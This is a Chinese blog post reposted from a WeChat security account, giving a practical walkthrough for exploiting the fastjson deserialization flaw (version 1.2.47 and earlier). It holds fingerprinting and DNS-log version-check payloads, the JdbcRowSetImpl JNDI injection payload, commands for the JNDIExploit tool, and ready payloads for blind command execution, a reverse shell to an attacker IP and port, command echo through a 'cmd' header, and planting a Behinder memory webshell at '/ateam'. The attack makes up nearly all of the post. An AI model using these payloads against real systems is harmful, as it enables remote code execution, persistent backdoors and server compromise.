fastjson漏洞简单利用

admin 2023年6月6日09:41:03评论44 views字数 2582阅读8分36秒阅读模式

fastjson漏洞简单利用:

判断是否是fastjson框架:
增加key的值:

fastjson默认是不会报错的

fastjson漏洞简单利用

fastjson漏洞简单利用

输入特定的payload或者去掉花括号使它爆出异常:

这个payload比较好用,使用这个大概率也会把版本爆出来。

{"@type": "java.lang.AutoCloseable"

fastjson漏洞简单利用

判断版本:
DNS请求判断:

使用payload:

{"name":{"@type":"java.net.InetAddress","val":"dnslog.cn"}}

如果收到dns请求,则是1.2.47之前。

fastjson漏洞简单利用

["test":1] 

fastjson漏洞简单利用

延时判断:
{"name":{"u0040u0074u0079u0070u0065":"u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0043u006cu0061u0073u0073","u0076u0061u006c":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c"},"x":{"u0040u0074u0079u0070u0065":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c","u0064u0061u0074u0061u0053u006fu0075u0072u0063u0065u004eu0061u006du0065":"ldap://11.111.22.222/test111","autoCommit":true}}

使用该payload请求一个不存在dns地址,存在延迟,请求127.0.0.1,则立马返回,证明是<=1.2.47

fastjson漏洞简单利用

打法:

先来看1.2.47的payload:


{
  "a": {
      "@type": "java.lang.Class",
      "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://x.x.x.x:1098/jndi",
      "autoCommit": true
  }
}

这里主要讲一下利用JNDI注入工具来是实现攻击。

工具地址:

https://github.com/WhiteHSBG/JNDIExploit

启动JNDI注入工具:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip地址

fastjson漏洞简单利用

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip地址 -u

可以看到payload:

fastjson漏洞简单利用

无回显命令执行(不推荐):
{
  "a": {
      "@type": "java.lang.Class",
      "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "ldap://0.0.0.0:1389/Basic/Command/cmd命令",
      "autoCommit": true
  }
}

fastjson漏洞简单利用

成功创建

fastjson漏洞简单利用


反弹shell:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]",
"autoCommit": true
}
}

fastjson漏洞简单利用

执行命令回显:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/TomcatEcho",
"autoCommit": true
}
}

然后在数据包中添加:

cmd: whoami

fastjson漏洞简单利用

fastjson漏洞简单利用

可以看到成功执行whoami和ls命令并直接回显。

写冰蝎内存马:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/TomcatMemshell3",
"autoCommit": true
}
}

内存马路径:

http://ip地址/ateam

冰蝎连接:

如图:

fastjson漏洞简单利用

fastjson漏洞简单利用

成功连接。

其他的玩法可以参考工具官方链接。

参考:

https://github.com/WhiteHSBG/JNDIExploit

https://mp.weixin.qq.com/s?search_click_id=16509277583036191289-1680749714979-6581090795&__biz=MzkzMjI1NjI3Ng==&mid=2247484332&idx=1&sn=c787dd0985156d856aad03d56a945be4&chksm=c25fccd7f52845c1e172b864dfc219dcecc9f226fb5abc64ef31178914ad9f58b7868bf6917a&scene=7#rd


原文始发于微信公众号(前进四安全团队):fastjson漏洞简单利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日09:41:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson漏洞简单利用http://cn-sec.com/archives/1659430.html

发表评论

匿名网友 填写信息